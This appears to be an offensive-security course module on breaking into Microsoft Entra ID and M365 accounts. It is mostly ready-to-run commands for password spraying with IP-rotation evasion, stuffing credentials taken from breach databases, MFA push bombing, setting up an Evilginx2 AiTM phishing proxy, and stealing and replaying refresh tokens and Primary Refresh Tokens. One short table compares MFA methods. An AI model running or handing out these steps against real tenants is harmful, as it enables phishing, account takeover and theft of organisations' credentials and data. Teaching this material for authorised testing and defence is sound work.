Credential Attacks
Break through Entra ID authentication barriers with password spraying, MFA bypass techniques, and token-based attacks to gain initial or escalated access to the M365 tenant.
Phase 3 Progress
0 / 8 completed🔑 Password Attacks
Password spraying tests a small number of commonly used passwords against a large list of validated user accounts. Unlike brute-force attacks that target a single account with many passwords, spraying distributes attempts across many accounts to stay below lockout thresholds.
MSOLSpray (PowerShell)
MSOLSpray is a PowerShell-based tool that sprays passwords against Microsoft Online (Azure AD / Entra ID) accounts using the Microsoft OAuth2 endpoint. It parses AADSTS error codes from the response to determine the outcome of each attempt.
# Import the module
Import-Module .\MSOLSpray.ps1
# Spray a single password across all validated users
Invoke-MSOLSpray -UserList .\users.txt -Password "Spring2024!" -URL "https://login.microsoft.com"
# With verbose output showing each response code
Invoke-MSOLSpray -UserList .\users.txt -Password "Company2024!" -URL "https://login.microsoft.com" -Verbose
Trevorspray (Python)
Trevorspray is a more advanced spraying tool that supports multiple authentication endpoints, SSH-based SOCKS proxying to distribute source IPs, and automatic Fireprox integration for rotating source addresses via AWS API Gateway.
# Install Trevorspray
pip3 install trevorspray
# Basic spray against Microsoft Online
trevorspray -u users.txt -p 'Summer2024!' --url https://login.microsoftonline.com
# Spray with multiple passwords and a delay between rounds
trevorspray -u users.txt -p passwords.txt --delay 3600 --url https://login.microsoftonline.com
# Using SSH proxies to distribute source IPs
trevorspray -u users.txt -p 'Winter2024!' --ssh user@proxy1 user@proxy2 user@proxy3
# With Fireprox (AWS API Gateway) for IP rotation
trevorspray -u users.txt -p 'Fall2024!' --fireprox
Go365
Go365 is a Go-based tool designed for Microsoft 365 password auditing. It targets the Office 365 RST endpoint and supports user enumeration alongside spraying.
# Basic password spray
./go365 -ul users.txt -p 'Company2024!' -d target.com
# Spray with wait time between attempts (in seconds)
./go365 -ul users.txt -pl passwords.txt -d target.com -w 5 -delay 3600
Interpreting AADSTS Error Codes
The Entra ID authentication endpoint returns specific error codes that reveal the result of each spray attempt. Understanding these codes is essential for determining which accounts have valid credentials, which are locked, and which have MFA enabled (meaning the password was correct).
| AADSTS Code | Meaning | Action |
|---|---|---|
AADSTS50126 |
Invalid username or password | Password is wrong — continue spraying this account |
AADSTS50076 |
MFA required (due to policy) | Password is CORRECT — MFA is the next barrier |
AADSTS50079 |
User must enrol in MFA | Password is CORRECT — user has not yet set up MFA |
AADSTS50053 |
Account is locked (Smart Lockout) | Stop spraying this account — wait and revisit later |
AADSTS50057 |
Account is disabled | Skip — the account cannot sign in |
AADSTS50055 |
Password has expired | Password was correct but expired — may still be exploitable |
AADSTS50158 |
External security challenge (Conditional Access) | Password is CORRECT — external CA condition triggered |
AADSTS53003 |
Blocked by Conditional Access | Password may be correct — CA policy denied access |
/oauth2/token endpoint may appear differently in logs than interactive browser logins. Smart Lockout uses password hash tracking, so spraying the same wrong password repeatedly against one account counts as a single failed attempt. Vary your timing and consider using IP rotation via Trevorspray's SSH proxy or Fireprox options to avoid IP-based rate limiting.Credential stuffing leverages previously leaked credentials from data breaches to attempt authentication against the target M365 tenant. Unlike password spraying (which tries a few passwords against many users), credential stuffing uses known email:password pairs unique to each user from breach databases.
Step 2a: Source Breach Data
Collect known leaked credentials associated with the target's email domain. Use services that aggregate breach data to find email:password pairs, email:hash pairs, or related credentials that may have been reused.
# h8mail - query breach databases for a domain
pip3 install h8mail
# Search for leaked credentials by domain
h8mail -t target.com --api-config api_keys.ini
# Search for a specific list of email addresses
h8mail -t emails.txt --api-config api_keys.ini -o breached_creds.csv
# DeHashed API query (requires subscription)
curl "https://api.dehashed.com/search?query=domain:target.com" \
-u email:api_key \
-H "Accept: application/json" | jq '.'
# Filter results for email:password pairs
curl "https://api.dehashed.com/search?query=domain:target.com&size=10000" \
-u email:api_key \
-H "Accept: application/json" | \
jq -r '.entries[] | select(.password != null) | "\(.email):\(.password)"' > stuffing_list.txt
Step 2b: Prepare and Test Credential Pairs
Format the collected credentials into email:password pairs and test them against the Entra ID authentication endpoints. Match breach emails to validated user accounts from your Phase 1 enumeration.
# Cross-reference breach data with validated users from recon
awk -F':' 'NR==FNR{users[$1]; next} ($1 in users)' validated_users.txt stuffing_list.txt > matched_creds.txt
# Use Trevorspray with paired credentials (one password per user)
# Format: create individual spray runs per unique password
while IFS=':' read user pass; do
echo "$user" | trevorspray -u /dev/stdin -p "$pass" --url https://login.microsoftonline.com
sleep 2
done < matched_creds.txt
Password1! becomes Password2!). Test both the exact breach password and common mutations.A well-crafted password list dramatically improves spraying success rates. Humans are predictable — they use company names, locations, seasons, years, and common patterns. Generating targeted wordlists is often the difference between a failed and successful spray campaign.
Common M365 Password Patterns
Users choosing passwords that meet the default complexity requirements (8+ chars, 3 of 4 character types) tend to follow these patterns:
# Season + Year + Special Character
Spring2024!
Summer2024!
Autumn2024!
Winter2024!
Spring2025!
Summer2025!
# Company Name + Year + Special Character
CompanyName2024!
Companyname2024!
companyname2024!
CompanyName2025!
# City/Location + Year + Special Character
London2024!
NewYork2024!
# Month + Year + Special Character
January2024!
February2024!
March2024!
# Common base passwords
Welcome2024!
Password123!
Changeme2024!
P@ssw0rd2024!
CeWL - Custom Word List Generator
CeWL spiders the target company's website and extracts words to build a custom wordlist. These words can then be combined with common password patterns to create a targeted spray list.
# Spider the target website and extract words (min length 5)
cewl https://www.target.com -m 5 -d 3 -w cewl_words.txt
# Include email addresses found on the site
cewl https://www.target.com -m 5 -d 3 -e --email_file emails.txt -w cewl_words.txt
Building the Final Spray List
Combine CeWL output with standard patterns to create a comprehensive, targeted password list. Prioritise the most statistically likely combinations.
# Generate password mutations from CeWL words
# Append year + special char to each word
for word in $(cat cewl_words.txt); do
for year in 2023 2024 2025; do
for char in '!' '@' '#' '?'; do
# Capitalise first letter + year + special
echo "$(echo $word | sed 's/^./\U&/')${year}${char}"
done
done
done > generated_passwords.txt
# Sort, deduplicate, and combine with standard seasonal list
cat generated_passwords.txt seasonal_passwords.txt | sort -u > final_spray_list.txt
# Count total passwords to estimate spray time
wc -l final_spray_list.txt
# At 1 password per 60 min, 20 passwords = ~20 hours of spraying
Spring2025!), the company name + year, and the most common defaults (Welcome1!, Password1!). If the company recently had a name change, merger, or new office location, those terms become high-value candidates. A well-targeted list of 10–15 passwords often outperforms thousands of generic ones.AADSTS50053 (lockout) responses — if you start seeing them, stop immediately and reassess your timing.🔐 MFA Bypass Techniques
MFA fatigue (also called push bombing or MFA bombing) is a technique used after obtaining valid credentials for an account protected by push-based MFA. The attacker repeatedly initiates authentication requests, generating a flood of MFA push notifications to the user's device. The goal is to frustrate or confuse the user into approving one of the prompts, granting the attacker access.
Attack Flow
- Obtain valid username:password (from spraying, stuffing, or phishing)
- Initiate repeated authentication attempts against the Entra ID endpoint
- Each attempt triggers a push notification to the user's Microsoft Authenticator app
- User is bombarded with "Approve sign-in?" prompts
- User eventually approves (accidentally, out of frustration, or to stop the notifications)
- Attacker receives a valid session token
# Repeatedly authenticate with valid credentials to trigger push notifications
# This example uses a simple loop with roadtx
for i in $(seq 1 10); do
roadtx auth -u user@target.com -p 'KnownPassword1!' -c d3590ed6-52b3-4102-aeff-aad2292ab01c
sleep 30 # Wait between attempts
done
# MFASweep can also identify which MFA methods are configured
Import-Module .\MFASweep.ps1
Invoke-MFASweep -Username user@target.com -Password 'KnownPassword1!'
SIM swapping and SS7 interception target accounts that rely on SMS-based MFA. These attacks compromise the phone number used to receive one-time passcodes, allowing the attacker to intercept MFA codes after obtaining valid credentials through other means.
SIM Swapping Attack Chain
- Reconnaissance: Identify the target user's mobile carrier and phone number (from OSINT, LinkedIn, data breaches, or the company directory)
- Social Engineering: Contact the carrier's customer support, impersonating the victim, and request a SIM transfer to a new SIM card controlled by the attacker
- Porting: The carrier transfers the victim's phone number to the attacker's SIM card
- Interception: SMS messages (including MFA codes) are now delivered to the attacker's device
- Authentication: Attacker logs in with the stolen credentials and the intercepted SMS OTP code
SS7 Protocol Exploitation
SS7 (Signalling System 7) is the telecommunications signalling protocol used by phone networks worldwide. Known vulnerabilities in SS7 allow attackers with access to the signalling network to intercept SMS messages and phone calls without needing to compromise the physical SIM.
Why SMS MFA Is Weak
| MFA Method | Phishing Resistant? | SIM Swap Resistant? | AiTM Resistant? | Recommendation |
|---|---|---|---|---|
| SMS OTP | No | No | No | Replace immediately |
| Voice Call | No | No | No | Replace immediately |
| Authenticator Push | Partial | Yes | No | Acceptable with number matching |
| Authenticator TOTP | No | Yes | No | Better than SMS |
| FIDO2 Security Key | Yes | Yes | Yes | Strongest option |
| Windows Hello | Yes | Yes | Yes | Strongest option |
AiTM phishing is one of the most effective techniques for bypassing MFA entirely. Instead of trying to steal or circumvent the second factor, a reverse proxy sits between the victim and the legitimate Microsoft login page. The victim authenticates normally (including completing MFA), and the proxy captures the resulting session cookie or access token. The attacker then replays this token to gain fully authenticated access.
How AiTM Works
- Setup: Attacker deploys a reverse proxy (e.g., Evilginx2) on a server with a phishing domain (e.g.,
login-microsoft365.com) - Lure: Target user receives a phishing link pointing to the attacker's proxy domain
- Proxy: When the victim visits the link, Evilginx proxies the real Microsoft login page. The user sees a legitimate-looking login experience
- Credential Capture: The user enters their username and password — the proxy captures both and forwards them to Microsoft
- MFA Relay: Microsoft prompts for MFA — the proxy relays this to the victim, who completes MFA on their device as normal
- Token Capture: After successful MFA, Microsoft issues a session cookie. The proxy intercepts this cookie before delivering it to the victim's browser
- Session Hijack: The attacker imports the captured session cookie into their own browser and gains fully authenticated access, bypassing MFA entirely
Evilginx2 Setup
# Install Evilginx2
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
make
# Run Evilginx (requires ports 80/443 and a valid domain)
sudo ./bin/evilginx -p ./phishlets
# Configure the domain and phishlet
: config domain yourdomain.com
: config ipv4 your.server.ip
# Enable the Microsoft 365 phishlet
: phishlets hostname o365 login.yourdomain.com
: phishlets enable o365
# Create a phishing lure URL
: lures create o365
: lures edit 0 redirect_url https://office.com
: lures get-url 0
# Monitor for captured sessions
: sessions
# View captured tokens from a specific session
: sessions 1
Using Captured Session Tokens
# After Evilginx captures a session, extract the cookies
# Import the ESTSAUTH / ESTSAUTHPERSISTENT cookies into your browser
# These cookies provide access to the Microsoft 365 portal
# Alternatively, use the captured tokens with command-line tools
# Export the access token from the captured session
roadtx interactiveauth --estscookie "0.AX4A..."
# Or use the cookie directly with requests
curl -H "Cookie: ESTSAUTHPERSISTENT=0.AX4A..." \
"https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=..."
🎫 Token Attacks
Entra ID uses OAuth 2.0 tokens for authentication and authorisation. Stealing these tokens from a compromised endpoint, phishing flow, or other source allows an attacker to authenticate as the victim without knowing their password or completing MFA. Understanding the token types and their lifetimes is critical for effective exploitation.
Token Types Explained
| Token Type | Lifetime | Purpose | Where Found |
|---|---|---|---|
| Access Token | 60–90 minutes (default) | Authorises API requests to a specific resource (e.g., Microsoft Graph, Exchange Online) | Browser memory, process memory, network traffic, token cache files |
| Refresh Token | 90 days (or until revoked) | Used to obtain new access tokens without re-authenticating. Scoped to a client application | Token cache files, browser storage, MSAL token caches |
| Primary Refresh Token (PRT) | 14 days (renewed on use) | SSO token for Azure AD joined/registered devices. Can obtain access tokens for any resource | TPM-protected on the device (or in memory on non-TPM devices) |
| ID Token | 60 minutes | Contains user identity claims. Used by the client application to identify the user | Browser memory, application memory |
Extracting Tokens from Compromised Endpoints
# Location of MSAL token caches on Windows
# Check for token cache files used by Microsoft apps
Get-ChildItem -Path "$env:LOCALAPPDATA\.IdentityService" -Recurse
Get-ChildItem -Path "$env:LOCALAPPDATA\Microsoft\TokenBroker\Cache" -Recurse
# Extract tokens from the TokenBroker cache
# These are DPAPI-protected; use mimikatz or SharpDPAPI to decrypt
Get-ChildItem -Path "$env:LOCALAPPDATA\Microsoft\TokenBroker\Cache\*.tbres"
Using ROADtools for Token Replay
ROADtools (ROADtx specifically) is the go-to toolkit for Entra ID token manipulation. It can authenticate using stolen tokens, refresh them, and exchange them for tokens scoped to different resources.
# Install ROADtools
pip3 install roadtx roadlib roadrecon
# Authenticate using a stolen refresh token
roadtx gettokens --refresh-token "0.AX4Abc123..." \
--client d3590ed6-52b3-4102-aeff-aad2292ab01c \
--resource https://graph.microsoft.com
# Exchange a refresh token for an access token targeting a different resource
roadtx gettokens --refresh-token "0.AX4Abc123..." \
--client d3590ed6-52b3-4102-aeff-aad2292ab01c \
--resource https://outlook.office365.com
# Use the obtained access token to query Microsoft Graph
roadtx describe < .roadtools_auth
TokenTactics for Token Manipulation
TokenTactics provides PowerShell functions for requesting and manipulating Azure AD tokens, including refreshing tokens across different resource scopes and client IDs (a technique called token family abuse).
# Import TokenTactics
Import-Module .\TokenTactics.psd1
# Use a captured refresh token to get a new access token for Microsoft Graph
RefreshTo-MSGraphToken -refreshToken "0.AX4Abc123..." -domain "target.com"
# Refresh to a different resource scope (e.g., Azure Management)
RefreshTo-AzureManagementToken -refreshToken "0.AX4Abc123..." -domain "target.com"
# Refresh to Outlook / Exchange Online
RefreshTo-OutlookToken -refreshToken "0.AX4Abc123..." -domain "target.com"
# Refresh to SharePoint Online
RefreshTo-SharePointToken -refreshToken "0.AX4Abc123..." -domain "target.com" -SharePointTenant "target"
# Refresh to Microsoft Teams
RefreshTo-MSTeamsToken -refreshToken "0.AX4Abc123..." -domain "target.com"
d3590ed6-52b3-4102-aeff-aad2292ab01c) has broad pre-consented access to most Microsoft 365 resources, making it the ideal client ID for token pivoting. This is known as FOCI (Family of Client IDs) abuse.The Primary Refresh Token (PRT) is the master key for Azure AD SSO on domain-joined or Azure AD-registered devices. A PRT grants the ability to obtain access tokens for any Azure AD-integrated resource without prompting for credentials or MFA. Extracting and leveraging a PRT from a compromised device effectively grants full SSO capability as the targeted user.
Understanding PRTs
- Issued to Azure AD Joined, Hybrid Azure AD Joined, or Azure AD Registered devices
- Stored in the device's TPM (Trusted Platform Module) when available; otherwise in memory via the CloudAP/BrowserCore plugin
- The PRT includes an MFA claim if the user completed MFA during the session, making subsequent token requests appear MFA-satisfied
- Valid for 14 days and automatically renewed on use — effectively indefinite if the user keeps signing in
- Used by the CloudAP plugin, WAM (Web Account Manager), and browser SSO extensions to transparently authenticate users
Extracting PRTs with ROADtools
# Obtain a PRT from the current device (requires SYSTEM or user context)
# This uses the BrowserCore SSO extension to extract PRT data
roadtx prt -a obtain
# The PRT cookie is saved to .roadtools_auth
# Use the PRT to request tokens for any resource
roadtx prt -a request --resource https://graph.microsoft.com
# Request tokens for Azure management
roadtx prt -a request --resource https://management.azure.com
# Request tokens for Exchange Online
roadtx prt -a request --resource https://outlook.office365.com
PRT Cookie Injection for Browser SSO
A PRT can be converted into a browser-compatible cookie (x-ms-RefreshTokenCredential) and injected into a browser session. This grants seamless SSO to all Microsoft 365 web applications without any additional authentication prompt.
# Generate a PRT cookie for browser injection
roadtx prt -a cookie
# This outputs a JSON blob containing the PRT cookie value
# Inject this as a cookie named "x-ms-RefreshTokenCredential"
# Domain: login.microsoftonline.com
# Path: /
# HttpOnly: true
# Secure: true
# After injection, navigate to https://login.microsoftonline.com
# and you will be signed in as the target user with SSO
# You can also use roadtx's built-in browser for this
roadtx browserprtauth --prt-cookie "eyJ..."
AADInternals PRT Extraction
# Import AADInternals
Import-Module AADInternals
# Get the PRT and session key from the current device
# Requires elevation (run as Administrator)
$prt = Get-AADIntUserPRTToken
# Use the PRT to get an access token
$at = Get-AADIntAccessTokenForMSGraph -PRTToken $prt
# Use the access token to enumerate the tenant
Get-AADIntUsers -AccessToken $at
prt obtain exploit this by asking the SSO broker to produce signed tokens rather than exporting the raw PRT. On devices without TPM protection, the PRT session key may be extractable from LSASS memory using tools like Mimikatz.